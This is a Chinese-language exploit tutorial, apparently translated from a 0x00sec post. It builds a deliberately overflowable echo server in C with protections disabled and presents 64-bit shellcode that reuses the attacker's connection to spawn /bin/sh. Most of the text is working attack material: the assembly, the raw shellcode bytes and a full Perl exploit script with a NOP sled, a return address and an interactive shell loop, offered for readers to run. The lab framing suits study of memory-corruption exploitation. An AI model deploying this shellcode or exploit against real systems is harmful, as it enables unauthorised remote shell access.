遠(yuǎn)程漏洞利用:無(wú)需借助套接字的Shellcode
前言
在本文中,我將介紹一種優(yōu)雅的技術(shù),來(lái)獲得一個(gè)shell訪問(wèn)易受攻擊的遠(yuǎn)程機(jī)器。雖然這個(gè)技術(shù)不是我發(fā)明的,但我發(fā)現(xiàn)它的確很有趣,所以本文的重點(diǎn)是這種技術(shù)本身,而不是利用漏洞的具體方式。
設(shè)置環(huán)境
為了專注于遠(yuǎn)程shell代碼本身,而不是把精力用在如何規(guī)避ASLR、非可執(zhí)行堆棧等防御措施上面,我們將禁用這些安全功能。一旦熟悉了獲取shellcode的方法,可以重新啟用這些保護(hù)措施,以進(jìn)一步練習(xí)如何突破這些安全設(shè)置。因此,這是一個(gè)非常有趣的練習(xí),如果你想練手的話。
首先,我們將禁用ASLR。為此,可以使用以下命令:
- echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
這些設(shè)置都是臨時(shí)性質(zhì)的,在下次重新啟動(dòng)時(shí)會(huì)全部還原。如果你想要在不重新啟動(dòng)機(jī)器的情況下立即還原所有設(shè)置的話,可以使用如下所示的命令:
- echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
為了禁用其余的安全功能,我們可以使用以下選項(xiàng)來(lái)編譯帶有安全漏洞的服務(wù)器:
- -fno-stack-protector -z execstack
這些選項(xiàng)會(huì)禁用堆棧的canarie保護(hù),并賦予堆棧執(zhí)行權(quán)限。這樣的話,我們就得到了一個(gè)非常容易利用的環(huán)境。
帶有安全漏洞的服務(wù)
現(xiàn)在,讓我們編寫(xiě)一個(gè)帶有緩沖區(qū)溢出漏洞的小型回顯服務(wù)器,這樣我們就可以遠(yuǎn)程利用它了。這個(gè)程序很簡(jiǎn)單,你能發(fā)現(xiàn)代碼中的緩沖區(qū)溢出漏洞嗎? 你當(dāng)然可以。
- #include <stdio.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- int
- process_request (int s1, char *reply)
- {
- char result[256];
- strcpy (result, reply);
- write (s1, result, strlen(result));
- printf ("Result: %p\n", &result);
- return 0;
- }
- int
- main (int argc, char *argv[])
- {
- struct sockaddr_in server, client;
- socklen_t len = sizeof (struct sockaddr_in);
- int s,s1, ops = 1;
- char reply[1024];
- server.sin_addr.s_addr = INADDR_ANY;
- server.sin_family = AF_INET;
- server.sin_port = htons(9000);
- s = socket (PF_INET, SOCK_STREAM, 0);
- if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0)
- perror ("pb_server (reuseaddr):");
- bind (s, (struct sockaddr *) &server, sizeof (server));
- listen (s, 10);
- while (1)
- {
- s1 = accept (s, (struct sockaddr *)&client, &len);
- printf ("Connection from %s\n", inet_ntoa (client.sin_addr));
- memset (reply, 0, 1024);
- read (s1, reply, 1024);
- process_request (s1, reply);
- close (s1);
- }
- return 0;
- }
很好,下面我們就來(lái)編譯它,讓它變成一個(gè)最容易利用的服務(wù)器:
- gcc -g -fno-stack-protector -z execstack -o target target.c
下面,我們來(lái)展示它的脆弱性。在一個(gè)終端運(yùn)行這個(gè)帶有安全漏洞的服務(wù)器,然后在另一個(gè)終端運(yùn)行下列命令:
- $ perl -e 'print "A"x1024;' | nc localhost 9000
在運(yùn)行服務(wù)器的終端中,我們將會(huì)看到如下所示的內(nèi)容:
- $ ./target
- Connection from 127.0.0.1
- Result: 0x7fffffffdbf0
- Segmentation fault (core dumped)
注意,我已經(jīng)添加了打印局部變量的地址的語(yǔ)句,從而可以驗(yàn)證ASLR是否被禁用。每次執(zhí)行這個(gè)二進(jìn)制代碼的時(shí)候,應(yīng)該總是看到相同的數(shù)字(當(dāng)然,如果你修改了這個(gè)程序,數(shù)字就會(huì)隨之改變)。
現(xiàn)在,我們可以拿這個(gè)程序來(lái)練手,學(xué)習(xí)如何使用各種觸手可及的shellcode來(lái)獲取一個(gè)本地shell。盡管這個(gè)練習(xí)非常簡(jiǎn)單,但是我們建議您至少要練習(xí)一次。具體過(guò)程本文不作詳細(xì)介紹,因?yàn)殛P(guān)于緩沖區(qū)溢出漏洞利用的教程,在網(wǎng)絡(luò)上面數(shù)不勝數(shù)。
遠(yuǎn)程Shell
下面我們介紹如何獲取遠(yuǎn)程shell。注意,這里的關(guān)鍵在于“遠(yuǎn)程”。這意味著在易受攻擊的機(jī)器和攻擊者之間,隔著一個(gè)網(wǎng)絡(luò)?;蛘邠Q句話說(shuō),我們必須通過(guò)一些套接字來(lái)發(fā)送/接收數(shù)據(jù)。根據(jù)這一要求,有兩種方式可以用來(lái)獲得遠(yuǎn)程shell:
如果你的shellcode創(chuàng)建一個(gè)服務(wù)器套接字來(lái)啟用來(lái)自外部的連接請(qǐng)求,并從本地shell發(fā)送和接收數(shù)據(jù) ...那么,這就是一個(gè)直接遠(yuǎn)程shell。
如果你的shellcode連接回一個(gè)預(yù)先指定的主機(jī),并且這個(gè)主機(jī)上運(yùn)行的服務(wù)器軟件正在等待受害者的連接...那么,這就這是一個(gè)反向遠(yuǎn)程shell。
關(guān)于這兩種遠(yuǎn)程shell的詳細(xì)信息,請(qǐng)?jiān)L問(wèn)https://0x00sec.org/t/remote-shells-part-i/269。
看到這兩個(gè)定義后,你可能會(huì)聯(lián)想到RHOST/RPORT之類的變量....是的,它們可以用來(lái)告訴payload連接的主機(jī)地址和相應(yīng)的端口。對(duì)于反向shell來(lái)說(shuō),您必須將這些信息存放到payload中,以便連接回來(lái)。對(duì)于直接shell你通常需要定義端口,服務(wù)器就會(huì)等待連接。
但是,至少對(duì)于Unix機(jī)器來(lái)說(shuō),還有第三種選擇。
連接復(fù)用
當(dāng)執(zhí)行遠(yuǎn)程漏洞利用代碼時(shí),為了利用此漏洞,您已經(jīng)連接到了服務(wù)器...所以,為什么不重用這個(gè)已經(jīng)建立好的連接呢?這真是一個(gè)不錯(cuò)的想法,因?yàn)樗粫?huì)顯示任何會(huì)引起受害者懷疑的東西,例如來(lái)自服務(wù)器未知服務(wù)的開(kāi)放端口等。
實(shí)現(xiàn)這一點(diǎn)的方法也非常巧妙。它是基于這樣的事實(shí),即系統(tǒng)是按順序分配文件描述符的。知道了這一點(diǎn),我們就可以在建立連接之后立即復(fù)制一個(gè)當(dāng)前文件的描述符,除非服務(wù)器的負(fù)載很重,否則我們得到的文件描述符等于用于我們連接的套接字的文件描述符+1,這樣很容易就能知道我們的連接的文件描述符了。
一旦知道了當(dāng)前連接的文件描述符,我們只需要將它復(fù)制到文件描述符0、1和2(stdin、stdout和stderr),就可以生成一個(gè)shell了。這樣一來(lái),該shell的所有輸入/輸出都會(huì)被重定向到我們的套接字了。
還不明白嗎?肯定沒(méi)讀過(guò)https://0x00sec.org/t/remote-shells-part-i/269頁(yè)面上的文章吧?不過(guò)沒(méi)關(guān)系,現(xiàn)在去看也不晚。
相應(yīng)的C代碼如下所示:
- int sck = dup (0) - 1; // Duplicate stdin
- dup2 (sck, 0);
- dup2 (sck, 1);
- dup2 (sck, 2);
- execv ("/bin/sh", NULL);
看...根本就沒(méi)有使用套接字代碼!如果我們把它變成一個(gè)shellcode,并且設(shè)法利用遠(yuǎn)程服務(wù)器的漏洞來(lái)運(yùn)行該代碼,我們就能夠獲得一個(gè)shell來(lái)訪問(wèn)遠(yuǎn)程機(jī)器,而這個(gè)shell所使用的連接,正好就是原來(lái)向遠(yuǎn)程服務(wù)器投遞利用代碼的那個(gè)連接。
當(dāng)然,也你已經(jīng)注意到這種技術(shù)存在一些缺點(diǎn)。就像我們所提到的那樣,如果服務(wù)器比較繁忙的話(同時(shí)建立許多連接),這種方法就很難奏效了。此外,正常的服務(wù)器會(huì)在變成守護(hù)進(jìn)程之前關(guān)閉所有的文件描述符,因此我們可能需要嘗試使用其他值來(lái)推測(cè)文件描述符。
這個(gè)技術(shù)是前一段時(shí)間跟@_py進(jìn)行討論的時(shí)候,由他想出來(lái)的。我們當(dāng)時(shí)檢查的原始代碼可以在這里找到:
- http://shell-storm.org/shellcode/files/shellcode-881.php4
但是,這是一個(gè)32位代碼,所以我重新制作了對(duì)應(yīng)的64位版本,以及一個(gè)運(yùn)行漏洞利用代碼的Perl腳本。
64位版本的Shellcode
下面的代碼您就將就著看吧(我這才發(fā)現(xiàn)自己的匯編技能真是生銹了),不過(guò)它確實(shí)可以正常運(yùn)行,并且只比原來(lái)的32bits版本長(zhǎng)了3個(gè)字節(jié)。我的64位版本的Shellcode如下所示:
- section .text
- global _start
- _start:
- ;; s = Dup (0) - 1
- xor rax, rax
- push rax
- push rax
- push rax
- pop rsi
- pop rdx
- push rax
- pop rdi
- mov al, 32
- syscall ; DUP (rax=32) rdi = 0 (dup (0))
- dec rax
- push rax
- pop rdi ; mov rdi, rax ; dec rdi
- ;; dup2 (s, 0); dup2(s,1); dup2(s,2)
- loop: mov al, 33
- syscall ; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd
- inc rsi
- mov rax,rsi
- cmp al, 2 ; Loop 0,1,2 (stdin, stdout, stderr)
- jne loop
- ;; exec (/bin/sh)
- push rdx ; NULL
- mov qword rdi, 0x68732f6e69622f2f ; "//bin/sh"
- push rdi ; command
- push rsp
- pop rdi
- push rdx ;env
- pop rsi ;args
- mov al, 0x3b ;EXEC (rax=0x4b) rdi="/bin/sh" rsi=rdx=
- syscall
對(duì)于不太容易理解的地方,我已經(jīng)添加了相應(yīng)的注釋。同時(shí),你可能也注意到了,代碼里使用了許多的push/pop指令,這是因?yàn)橐粋€(gè)PUSH/POP指令對(duì)占用2個(gè)字節(jié),而MOV R1,R2指令則需要占用3個(gè)字節(jié)。雖然這會(huì)代碼變得非常丑,但是卻能節(jié)約一些空間...實(shí)際上也沒(méi)有節(jié)約太多的地方,所以也算不上一個(gè)好主意。無(wú)論如何,您可以隨意改進(jìn)它,并歡迎在評(píng)論中發(fā)布您自己的版本。
生成Shellcode
現(xiàn)在,我們需要生成相應(yīng)的shellcode,同時(shí),其格式必須適合將其發(fā)送到遠(yuǎn)程服務(wù)器才行。為此,我們首先需要編譯代碼,然后從編譯的文件中提取機(jī)器代碼。編譯代碼非常簡(jiǎn)單,具體如下所示:
- nasm -f elf64 -o rsh.o rsh.asm
當(dāng)然,從目標(biāo)文件中獲取二進(jìn)制數(shù)據(jù)的方法有很多。我們這里使用的方法是生成具有易于添加到Perl或C程序中的格式的字符串。
- for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
上面的兩個(gè)命令將產(chǎn)生以下shellcode:
- \x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05
接下來(lái),我們就需要開(kāi)始編寫(xiě)漏洞利用代碼了。
漏洞利用代碼
目前為止,我們已經(jīng)搭設(shè)了一個(gè)帶有遠(yuǎn)程利用漏洞的系統(tǒng)。同時(shí),也了解了如何在低安全環(huán)境中利用緩沖區(qū)溢出漏洞,并生成了一個(gè)用于在遠(yuǎn)程系統(tǒng)上運(yùn)行的shellcode?,F(xiàn)在我們需要一個(gè)漏洞利用代碼,把所有這些整合起來(lái),從而獲得我們夢(mèng)寐以求的遠(yuǎn)程shell。
當(dāng)然,編寫(xiě)漏洞利用代碼的語(yǔ)言有很多,不過(guò)這里選用的是自己最熟悉的Perl。
我們的漏洞利用代碼具體如下所示:
- #!/usr/bin/perl
- use IO::Select;
- use IO::Socket::INET;
- $|=1;
- print "Remote Exploit Example";
- print "by 0x00pf for 0x00sec :)\n\n";
- # You may need to calculate these magic numbers for your system
- $addr = "\x10\xdd\xff\xff\xff\x7f\x00\x00";
- $off = 264;
- # Generate the payload
- $shellcode = "\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05";
- $nops = $off - length $shellcode;
- $payload = "\x90" x $nops . $shellcode . $addr;
- $plen = length $payload;
- $slen = length $shellcode;
- print "SLED $nops Shellcode: $slen Payload size: $plen\n";
- # Connect
- my $socket = new IO::Socket::INET (
- PeerHost => '127.0.0.1',
- PeerPort => '9000',
- Proto => 'tcp',
- );
- # Set up select for asynchronous read from the server
- $sel = IO::Select->new( $socket );
- $sel->add(\*STDIN);
- # Exploit!
- $socket->send ($payload);
- $socket->recv ($trash,1024);
- $timeout = .1;
- $flag = 1; # Just to show a prompt
- # Interact!
- while (1) {
- if (@ready = $sel->can_read ($timeout)) {
- foreach $fh (@ready) {
- $flag =1;
- if($fh == $socket) {
- $socket->recv ($resp, 1024);
- print $resp;
- }
- else { # It is stdin
- $line = <STDIN>;
- $socket->send ($line);
- }
- }
- }
- else { # Show the prompt whenever everything's been read
- print "0x00pf]> " if ($flag);
- $flag = 0;
- }
- }
漏洞利用代碼的開(kāi)頭部分幾乎是標(biāo)準(zhǔn)式的。接下來(lái),根據(jù)您利用gdb找出的魔法數(shù)字來(lái)生成payload(請(qǐng)注意,在您的系統(tǒng)中這些數(shù)字可能會(huì)有所不同,這樣的話,這個(gè)漏洞利用代碼,在您的系統(tǒng)中,可能就會(huì)無(wú)法正常工作)。
然后,我們必須針對(duì)自己的遠(yuǎn)程shell進(jìn)行一些額外的工作。使用直接和反向shell時(shí),一旦漏洞利用代碼執(zhí)行完畢,我們通常需要使用另一個(gè)程序/模塊連接到遠(yuǎn)程機(jī)器,或接收來(lái)自遠(yuǎn)程機(jī)器的連接。為此,可以使用netcat或您喜歡的滲透測(cè)試平臺(tái),甚至是自己專門(mén)編寫(xiě)的工具...
但是,就本地而言,我們將使用已建立的連接來(lái)訪問(wèn)shell,這個(gè)連接就是之前用來(lái)發(fā)送payload的那個(gè)。所以我添加了一些代碼,用來(lái)從stdin讀取命令,并將它們發(fā)送到遠(yuǎn)程服務(wù)器,同時(shí)也從遠(yuǎn)程shell讀取數(shù)據(jù)。這些都是些標(biāo)準(zhǔn)的網(wǎng)絡(luò)代碼,實(shí)在是沒(méi)有什么特別之處。
現(xiàn)在,你可以嘗試一下這個(gè)可以獲取遠(yuǎn)程shell的漏洞利用代碼了!
小結(jié)
在本文中,我們討論了一種巧妙地技術(shù),可以隱秘地獲取shell來(lái)遠(yuǎn)程訪問(wèn)易受攻擊的服務(wù)器,并且不需要跟系統(tǒng)提供的套接字API打交道。這使得shellcode的開(kāi)發(fā)變得更簡(jiǎn)單,也使其更簡(jiǎn)潔(例如,你可以跟http://shell-storm.org/shellcode/files/shellcode-858.php2提供的代碼比較一番。